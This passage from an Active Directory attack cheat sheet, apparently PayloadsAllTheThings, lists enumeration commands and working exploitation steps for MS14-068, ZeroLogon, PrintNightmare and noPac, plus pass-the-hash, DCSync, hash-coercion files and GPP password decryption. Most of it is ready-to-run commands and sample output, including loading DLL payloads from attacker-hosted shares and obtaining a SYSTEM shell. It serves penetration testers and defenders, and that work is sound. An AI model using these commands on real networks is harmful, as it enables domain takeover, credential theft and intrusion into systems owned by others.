- **Enum Group Policies:**
```powershell
Get-NetGPO
# Shows active Policy on specified machine
Get-NetGPO -ComputerName <Name of the PC>
Get-NetGPOGroup
#Get users that are part of a Machine's local Admin group
Find-GPOComputerAdmin -ComputerName <ComputerName>
```
- **Enum OUs:**
```powershell
Get-NetOU -FullData
Get-NetGPO -GPOname <The GUID of the GPO>
```
- **Enum ACLs:**
```powershell
# Returns the ACLs associated with the specified account
Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
#Search for interesting ACEs
Invoke-ACLScanner -ResolveGUIDs
#Check the ACLs associated with a specified path (e.g smb share)
Get-PathAcl -Path "\\Path\Of\A\Share"
```
- **Enum Domain Trust:**
```powershell
Get-NetDomainTrust
Get-NetDomainTrust -Domain <DomainName>
```
- **Enum Forest Trust:**
```powershell
Get-NetForestDomain
Get-NetForestDomain Forest <ForestName>
#Domains of Forest Enumeration
Get-NetForestDomain
Get-NetForestDomain Forest <ForestName>
#Map the Trust of the Forest
Get-NetForestTrust
Get-NetDomainTrust -Forest <ForestName>
```
- **User Hunting:**
```powershell
#Finds all machines on the current domain where the current user has local admin access
Find-LocalAdminAccess -Verbose
#Find local admins on all machines of the domain:
Invoke-EnumerateLocalAdmin -Verbose
#Find computers were a Domain Admin OR a specified user has a session
Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -Stealth
#Confirming admin access:
Invoke-UserHunter -CheckAccess
```
:heavy_exclamation_mark: **Priv Esc to Domain Admin with User Hunting:** \
I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him ->
Profit!
[PowerView 3.0 Tricks](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993)
### Using AD Module
- **Get Current Domain:** `Get-ADDomain`
- **Enum Other Domains:** `Get-ADDomain -Identity <Domain>`
- **Get Domain SID:** `Get-DomainSID`
- **Get Domain Controlers:**
```powershell
Get-ADDomainController
Get-ADDomainController -Identity <DomainName>
```
- **Enumerate Domain Users:**
```powershell
Get-ADUser -Filter * -Identity <user> -Properties *
#Get a specific "string" on a user's attribute
Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description
```
- **Enum Domain Computers:**
```powershell
Get-ADComputer -Filter * -Properties *
Get-ADGroup -Filter *
```
- **Enum Domain Trust:**
```powershell
Get-ADTrust -Filter *
Get-ADTrust -Identity <DomainName>
```
- **Enum Forest Trust:**
```powershell
Get-ADForest
Get-ADForest -Identity <ForestName>
#Domains of Forest Enumeration
(Get-ADForest).Domains
```
- **Enum Local AppLocker Effective Policy:**
```powershell
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```
### Other Interesting Commands
- **Find Domain Controllers**
```ps1
nslookup domain.com
nslookup -type=srv _ldap._tcp.dc._msdcs.<domain>.com
nltest /dclist:domain.com
Get-ADDomainController -filter * | Select-Object name
gpresult /r
$Env:LOGONSERVER
echo %LOGONSERVER%
```
## From CVE to SYSTEM shell on DC
> Sometimes you will find a Domain Controller without the latest patches installed, use the newest CVE to gain a SYSTEM shell on it. If you have a "normal user" shell on the DC you can also try to elevate your privileges using one of the methods listed in [Windows - Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
### MS14-068 Checksum Validation
This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine.
* RPCClient
```powershell
rpcclient $> lookupnames john.smith
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)
```
* WMI
```powershell
wmic useraccount get name,sid
Administrator S-1-5-21-3415849876-833628785-5197346142-500
Guest S-1-5-21-3415849876-833628785-5197346142-501
Administrator S-1-5-21-297520375-2634728305-5197346142-500
Guest S-1-5-21-297520375-2634728305-5197346142-501
krbtgt S-1-5-21-297520375-2634728305-5197346142-502
lambda S-1-5-21-297520375-2634728305-5197346142-1110
```
* Powerview
```powershell
Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502
```
* CrackMapExec: `crackmapexec ldap DC1.lab.local -u username -p password -k --get-sid`
```bash
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
```
Generate a ticket with `metasploit` or `pykek`
```powershell
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN LABDOMAIN.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL
PASSWORD P@ssw0rd yes The Domain User password
RHOSTS 10.10.10.10 yes The target address range or CIDR identifier
RPORT 88 yes The target port
Timeout 10 yes The TCP timeout to establish connection and read data
USER lambda yes The Domain User
USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
```
```powershell
# Alternative download: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
$ git clone https://github.com/SecWiki/windows-kernel-exploits
$ python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
-1105
[+] Building AS-REQ for msfdc01.metasploitable.local... Done!
[+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
[+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
[+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
[+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
[+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
[+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
[+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
[+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!
```
Then use `mimikatz` to load the ticket.
```powershell
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
```
#### Mitigations
* Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780
### ZeroLogon
> CVE-2020-1472
White Paper from Secura : https://www.secura.com/pathtoimg.php?id=2055
Exploit steps from the white paper
1. Spoofing the client credential
2. Disabling signing and sealing
3. Spoofing a call
4. Changing a computer's AD password to null
5. From password change to domain admin
6. :warning: reset the computer's AD password in a proper way to avoid any Deny of Service
* `cve-2020-1472-exploit.py` - Python script from [dirkjanm](https://github.com/dirkjanm)
```powershell
# Check (https://github.com/SecuraBV/CVE-2020-1472)
proxychains python3 zerologon_tester.py DC01 172.16.1.5
$ git clone https://github.com/dirkjanm/CVE-2020-1472.git
# Activate a virtual env to install impacket
$ python3 -m venv venv
$ source venv/bin/activate
$ pip3 install .
# Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py)
proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5
# Find the old NT hash of the DC
proxychains secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL'
# Restore password from secretsdump
# secretsdump will automatically dump the plaintext machine password (hex encoded)
# when dumping the local registry secrets on the newest version
python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3
deactivate
```
* `nccfsas` - .NET binary for Cobalt Strike's execute-assembly
```powershell
git clone https://github.com/nccgroup/nccfsas
# Check
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local
# Resetting the machine account password
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset
# Testing from a non Domain-joined machine
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch
# Now reset the password back
```
* `Mimikatz` - 2.2.0 20200917 Post-Zerologon
```powershell
privilege::debug
# Check for the CVE
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
# Exploit the CVE and set the computer account's password to ""
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
# Execute dcsync to extract some hashes
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
# Pass The Hash with the extracted Domain Admin hash
sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN
# Use IP address instead of FQDN to force NTLM with Windows APIs
# Reset password to Waza1234/Waza1234/Waza1234/
# https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L2584
lsadump::postzerologon /target:10.10.10.10 /account:DC01$
```
* `CrackMapExec` - only check
```powershell
crackmapexec smb 10.10.10.10 -u username -p password -d domain -M zerologon
```
A 2nd approach to exploit zerologon is done by relaying authentication.
This technique, [found by dirkjanm](https://dirkjanm.io/a-different-way-of-abusing-zerologon), requires more prerequisites but has the advantage of having no impact on service continuity.
The following prerequisites are needed:
* A domain account
* One DC running the `PrintSpooler` service
* Another DC vulnerable to zerologon
* `ntlmrelayx` - from Impacket and any tool such as [`printerbug.py`](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)
```powershell
# Check if one DC is running the PrintSpooler service
rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"
# Setup ntlmrelay in one shell
ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support
#Trigger printerbug in 2nd shell
python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
```
### PrintNightmare
> CVE-2021-1675 / CVE-2021-34527
The DLL will be stored in `C:\Windows\System32\spool\drivers\x64\3\`.
The exploit will execute the DLL either from the local filesystem or a remote share.
Requirements:
* **Spooler Service** enabled (Mandatory)
* Server with patches < June 2021
* DC with `Pre Windows 2000 Compatibility` group
* Server with registry key `HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall` = (DWORD) 1
* Server with registry key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA` = (DWORD) 0
**Detect the vulnerability**:
* Impacket - [rpcdump](https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py)
```ps1
python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-RPRN]: Print System Remote Protocol
```
* [It Was All A Dream](https://github.com/byt3bl33d3r/ItWasAllADream)
```ps1
git clone https://github.com/byt3bl33d3r/ItWasAllADream
cd ItWasAllADream && poetry install && poetry shell
itwasalladream -u user -p Password123 -d domain 10.10.10.10/24
docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10
```
**Payload Hosting**:
* The payload can be hosted on Impacket SMB server since [PR #1109](https://github.com/SecureAuthCorp/impacket/pull/1109):
```ps1
python3 ./smbserver.py share /tmp/smb/
```
* Using [Invoke-BuildAnonymousSMBServer](https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer/blob/main/Invoke-BuildAnonymousSMBServer.ps1) (Admin rights required on host):
```ps1
Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable
```
* Using WebDav with [SharpWebServer](https://github.com/mgeeky/SharpWebServer) (Doesn't require admin rights):
```ps1
SharpWebServer.exe port=8888 dir=c:\users\public verbose=true
```
When using WebDav instead of SMB, you must add `@[PORT]` to the hostname in the URI, e.g.: `\\172.16.1.5@8888\Downloads\beacon.dll`
WebDav client **must** be activated on exploited target. By default it is not activated on Windows workstations (you have to `net start webclient`) and it's not installed on servers. Here is how to detect activated webdav:
```ps1
cme smb -u user -p password -d domain.local -M webdav [TARGET]
```
**Trigger the exploit**:
* [SharpNightmare](https://github.com/cube0x0/CVE-2021-1675)
```powershell
# require a modified Impacket: https://github.com/cube0x0/impacket
python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'
python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll'
## LPE
SharpPrintNightmare.exe C:\addCube.dll
## RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
## RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
```
* [Invoke-Nightmare](https://github.com/calebstewart/CVE-2021-1675)
```powershell
## LPE only (PS1 + DLL)
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*"
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
```
* [Mimikatz v2.2.0-20210709+](https://github.com/gentilkiwi/mimikatz/releases)
```powershell
## LPE
misc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool.dll
## RCE
misc::printnightmare /server:CASTLE /library:\\10.0.2.12\smb\beacon.dll /authdomain:LAB /authuser:Username /authpassword:Password01 /try:50
```
* [PrintNightmare - @outflanknl](https://github.com/outflanknl/PrintNightmare)
```powershell
PrintNightmare [target ip or hostname] [UNC path to payload Dll] [optional domain] [optional username] [optional password]
```
**Debug informations**
| Error | Message | Debug |
|--------|---------------------|------------------------------------------|
| 0x5 | `rpc_s_access_denied` | Permissions on the file in the SMB share |
| 0x525 | `ERROR_NO_SUCH_USER` | The specified account does not exist. |
| 0x180 | unknown error code | Share is not SMB2 |
### samAccountName spoofing
> During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a ST to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller.
**Requirements**
* MachineAccountQuota > 0
**Check for exploitation**
0. Check the MachineAccountQuota of the account
```powershell
crackmapexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ
StandIn.exe --object ms-DS-MachineAccountQuota=*
```
1. Check if the DC is vulnerable
```powershell
crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac
```
**Exploitation**
0. Create a computer account
```powershell
impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
powermad@windows> . .\Powermad.ps1
powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword
```
1. Clear the controlled machine account `servicePrincipalName` attribute
```ps1
impacket@linux> addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
powershell@windows> . .\Powerview.ps1
powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
```
2. (CVE-2021-42278) Change the controlled machine account `sAMAccountName` to a Domain Controller's name without the trailing `$`
```ps1
# https://github.com/SecureAuthCorp/impacket/pull/1224
impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
```
3. Request a TGT for the controlled machine account
```ps1
impacket@linux> getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
cmd@windows> Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
```
4. Reset the controlled machine account sAMAccountName to its old value
```ps1
impacket@linux> renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
```
5. (CVE-2021-42287) Request a service ticket with `S4U2self` by presenting the TGT obtained before
```ps1
# https://github.com/SecureAuthCorp/impacket/pull/1202
impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
```
6. DCSync: `KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'`
Automated exploitation:
* [cube0x0/noPac](https://github.com/cube0x0/noPac) - Windows
```powershell
noPac.exe scan -domain htb.local -user user -pass 'password123'
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator
```
* [Ridter/noPac](https://github.com/Ridter/noPac) - Linux
```ps1
python noPac.py 'domain.local/user' -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' -dc-ip 10.10.10.10 -use-ldap -dump
```
* [WazeHell/sam-the-admin](https://github.com/WazeHell/sam-the-admin)
```ps1
$ python3 sam_the_admin.py "domain/user:password" -dc-ip 10.10.10.10 -shell
[*] Selected Target dc.caltech.white
[*] Total Domain Admins 11
[*] will try to impersonat gaylene.dreddy
[*] Current ms-DS-MachineAccountQuota = 10
[*] Adding Computer Account "SAMTHEADMIN-11$"
[*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL
[*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL.
[*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white
[*] SAMTHEADMIN-11$ sAMAccountName == dc
[*] Saving ticket in dc.ccache
[*] Resting the machine account to SAMTHEADMIN-11$
[*] Restored SAMTHEADMIN-11$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating gaylene.dreddy
[*] Requesting S4U2self
[*] Saving ticket in gaylene.dreddy.ccache
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
```
* [ly4k/Pachine](https://github.com/ly4k/Pachine)
```powershell
usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
[-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
[domain/]username[:password]
$ python3 pachine.py -dc-host dc.domain.local -scan 'domain.local/john:Passw0rd!'
$ python3 pachine.py -dc-host dc.domain.local -spn cifs/dc.domain.local -impersonate administrator 'domain.local/john:Passw0rd!'
$ export KRB5CCNAME=$PWD/administrator@domain.local.ccache
$ impacket-psexec -k -no-pass 'domain.local/administrator@dc.domain.local'
```
**Mitigations**:
* [KB5007247 - Windows Server 2012 R2](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007247-monthly-rollup-2c3b6017-82f4-4102-b1e2-36f366bf3520)
* [KB5008601 - Windows Server 2016](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008601-os-build-14393-4771-out-of-band-c8cd33ce-3d40-4853-bee4-a7cc943582b9)
* [KB5008602 - Windows Server 2019](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008602-os-build-17763-2305-out-of-band-8583a8a3-ebed-4829-b285-356fb5aaacd7)
* [KB5007205 - Windows Server 2022](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007205-os-build-20348-350-af102e6f-cc7c-4cd4-8dc2-8b08d73d2b31)
* [KB5008102](https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e)
* [KB5008380](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)
## Open Shares
> Some shares can be accessible without authentication, explore them to find some juicy files
* [ShawnDEvans/smbmap - a handy SMB enumeration tool](https://github.com/ShawnDEvans/smbmap)
```powershell
smbmap -H 10.10.10.10 # null session
smbmap -H 10.10.10.10 -R # recursive listing
smbmap -H 10.10.10.10 -u invaliduser # guest smb session
smbmap -H 10.10.10.10 -d "DOMAIN.LOCAL" -u "USERNAME" -p "Password123*"
```
* [byt3bl33d3r/pth-smbclient from path-toolkit](https://github.com/byt3bl33d3r/pth-toolkit)
```powershell
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$
ls # list files
cd # move inside a folder
get # download files
put # replace a file
```
* [SecureAuthCorp/smbclient from Impacket](https://github.com/SecureAuthCorp/impacket)
```powershell
smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
use Sharename # select a Sharename
cd Folder # move inside a folder
ls # list files
```
* [smbclient - from Samba, ftp-like client to access SMB/CIFS resources on servers](#)
```powershell
smbclient -U username //10.0.0.1/SYSVOL
smbclient //10.0.0.1/Share
# Download a folder recursively
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> lcd '/path/to/go/'
smb: \> mget *
```
* [SnaffCon/Snaffler - a tool for pentesters to help find delicious candy](https://github.com/SnaffCon/Snaffler)
```ps1
snaffler.exe -s - snaffler.log
# Snaffle all the computers in the domain
./Snaffler.exe -d domain.local -c <DC> -s
# Snaffle specific computers
./Snaffler.exe -n computer1,computer2 -s
# Snaffle a specific directory
./Snaffler.exe -i C:\ -s
```
## SCF and URL file attack against writeable share
Theses attacks can be automated with [Farmer.exe](https://github.com/mdsecactivebreach/Farmer) and [Crop.exe](https://github.com/mdsecactivebreach/Farmer/tree/main/crop)
```ps1
# Farmer to receive auth
farmer.exe <port> [seconds] [output]
farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
farmer.exe 8888 60 # one minute
# Crop can be used to create various file types that will trigger SMB/WebDAV connections for poisoning file shares during hash collection attacks
crop.exe <output folder> <output filename> <WebDAV server> <LNK value> [options]
Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec
```
### SCF Files
Drop the following `@something.scf` file inside a share and start listening with Responder : `responder -wrf --lm -v -I eth0`
```powershell
[Shell]
Command=2
IconFile=\\10.10.10.10\Share\test.ico
[Taskbar]
Command=ToggleDesktop
```
Using [`crackmapexec`](https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/modules/slinky.py):
```ps1
crackmapexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK SERVER=IP_RESPONDER #scf
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER #lnk
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER CLEANUP
```
### URL Files
This attack also works with `.url` files and `responder -I eth0 -v`.
```powershell
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.10.10.10\%USERNAME%.icon
IconIndex=1
```
### Windows Library Files
> Windows Library Files (.library-ms)
```xml
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="<http://schemas.microsoft.com/windows/2009/library>">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>\\\\workstation@8888\\folder</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
```
### Windows Search Connectors Files
> Windows Search Connectors (.searchConnector-ms)
```xml
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="<http://schemas.microsoft.com/windows/2009/searchConnector>">
<iconReference>imageres.dll,-1002</iconReference>
<description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInStartMenuScope>true</includeInStartMenuScope>
<iconReference>\\\\workstation@8888\\folder.ico</iconReference>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
</templateInfo>
<simpleLocation>
<url>\\\\workstation@8888\\folder</url>
</simpleLocation>
</searchConnectorDescription>
```
## Passwords in SYSVOL & Group Policy Preferences
Find password in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: `\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.
```powershell
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```
Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx)
```bash
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
e.g:
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
```
### Automate the SYSVOL and passwords research
* `Metasploit` modules to enumerate shares and credentials
```c
scanner/smb/smb_enumshares
post/windows/gather/enum_shares
post/windows/gather/credentials/gpp
```
* CrackMapExec modules
```powershell
cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_autologin
cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_password
```
* [Get-GPPPassword](https://github.com/SecureAuthCorp/impacket/blob/master/examples/Get-GPPPassword.py)
```powershell
# with a NULL session
Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'
# with cleartext credentials
Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
# pass-the-hash
Get-GPPPassword.py -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
```
### Mitigations
* Install [KB2962486](https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/ms14-025) on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
* Delete existing GPP xml files in SYSVOL containing passwords.
* Don’t put passwords in files that are accessible by all authenticated users.
## Exploit Group Policy Objects GPO
> Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local
GPO are stored in the DC in `\\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\`, inside two folders **User** and **Machine**.
